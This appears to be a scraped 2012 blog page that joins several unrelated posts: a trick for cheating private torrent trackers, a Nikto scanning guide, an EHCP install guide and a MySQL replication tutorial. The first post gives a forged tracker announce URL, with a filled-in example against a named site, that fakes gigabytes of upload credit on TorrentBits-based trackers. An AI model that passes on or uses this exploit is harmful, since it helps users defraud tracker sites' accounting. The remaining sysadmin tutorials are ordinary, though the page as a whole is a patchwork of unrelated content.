http://TRACKER.ADDRESS/announce.php?info_hash=INFOHASH&peer_id=PEERID&port=PORT&uploaded=UPLOADED&downloaded=0&left=0&numwant=0&event=completed

replace:

TRACKER.ADDRESS with the torrent tracker address (ex: www.filelist.org:81)
INFOHASH with info_hash variable taken from the GET request from HTTP Analyzer,
PEERID with the peer_id
PORT with the port
UPLOADED with an number that you want, in bytes (ex: 10737418240 for 10GB)

Example:

http://www.filemp3.org:81/announce.php?info_hash=%B5%2D%F4%ADM%18%7C%83C%E9%EC%C8%C7%F7%973%3Fap%15&peer_id=%2DBC0059%2D%C3F%A4c%C4%0D%D35i%93%93%EA&port=12345&uploaded=10737418240&downloaded=0&left=0&numwant=0&event=completed

press enter and then stop the torrent in your client.

Now you should have 10GB added to your upload.

FileMP3 screens :D



The “bug” should work on all sites that use the TorrentBits source code (including filelist.org, torrentbytes.net and anothers). If you have any questions please send an email to xyflar@gmail.com

source : http://xyflar.blogspot.com/

Scan your web server for vulnerabilities with Nikto

Nikto is a web server scanner which performs comprehensive tests against web servers for multiple items, including over 3500 potentially dangerous files/CGIs, versions on over 900 servers, and version specific problems on over 250 servers.

1. Install Nikto

apt-get install nikto


2. Test the local web server

nikto -h localhost


Nikto also supports testing on different ports. Click here for Nikto usage information.

Installing EHCP (Easy Hosting Control Panel)

EHCP is a powerful, yet easy to install control panel that allows the user to manage services such as Web, FTP, Database and DNS servers.

The install script handles the installation and configuration of the required services. I recommend starting with a clean Debian system to avoid conflicts.

1. Download required EHCP files

wget http://www.ehcp.net/download


2. Uncompress the files

tar zxvf ehcp_latest.tgz


3. Move into the install directory and run the install script

cd ehcp
./install.sh


Read the instructions carefully, your server will send statistical information to the EHCP developers. If you choose to move on, the install script will install all required packages including Apache, MySql and Postfix. You will need to provide some information to configure the services and set the admin passwords.

4. When the installer is finished, enter the control panel using: http://yourserver.

MySql database replication (master/slave)

In this tutorial we'll create a simple one-way master/slave database replication. You must have at least one master and one slave but you can use multiple slaves.

Master

1. Configure master to listen on all ip addresses (pico /etc/mysql/my.cnf)

#bind-address = 127.0.0.1


Comment out this line or remove it

2. Configure server id, log file location and which databases are allowed to be replicated (pico /etc/mysql/my.cnf)

server-id = 1
log_bin = /var/log/mysql/mysql-bin.log
binlog_do_db = {database}


Replace {database} with the one you would like to replicate

3. Restart MySql

/etc/init.d/mysql restart


4. Create a user and allow it to act as slave for this server (mysql -u root -p)

GRANT REPLICATION SLAVE ON *.* TO {username}@'{ip}' IDENTIFIED BY '{password}';
FLUSH PRIVILEGES;


{username} = Your preferred username
{password} = Your password
{ip} = IP address of the slave system or % to allow all ip addresses


5. Show current log file and position (mysql -u root -p)

SHOW MASTER STATUS;


This will return something like this:

+------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000004 | 2751 | {database} | |
+------------------+----------+--------------+------------------+


Keep the file name and position. It will be used later on the slave

6. Transfer data from the master to the slave

You can do this using various methods including exporting and importing using phpMyAdmin, creating a database dump from the master and import to the slave and "LOAD DATA FROM MASTER".

Slave

1. Configure this server to be a slave for the master MySql server (pico /etc/mysql/my.cnf)

server-id = 2
master-host = {master_ip}
master-user = {username}
master-password = {password}
master-connect-retry = 60
replicate-do-db = {database}


{master_ip} = The ip of the master server
{username} = The username you provided earlier on the master server
{password} = The password you provided earlier on the master server
{database} = The database you want to replicate


2. Restart MySql

/etc/init.d/mysql restart


3. Final configurations to make the slave replicate with the master (mysql -u root -p)

SLAVE STOP;
CHANGE MASTER TO MASTER_HOST='{master_ip}', MASTER_USER='{username}', MASTER_PASSWORD='{password}', MASTER_LOG_FILE='{log_file}', MASTER_LOG_POS={log_position};
SLAVE START;


{master_ip} = The ip of the master server
{username} = The username you provided earlier on the master server
{password} = The password you provided earlier on the master server
{log_file} = Log file name from the master (ex. mysql-bin.000004)
{log_position} = Log position from the master (ex. 2751)

 
2012 upshell | Header Image by Game Wallpapers
Avatar Gamezine Designed by Cheapest Tablet PC
Supported by Phones 4u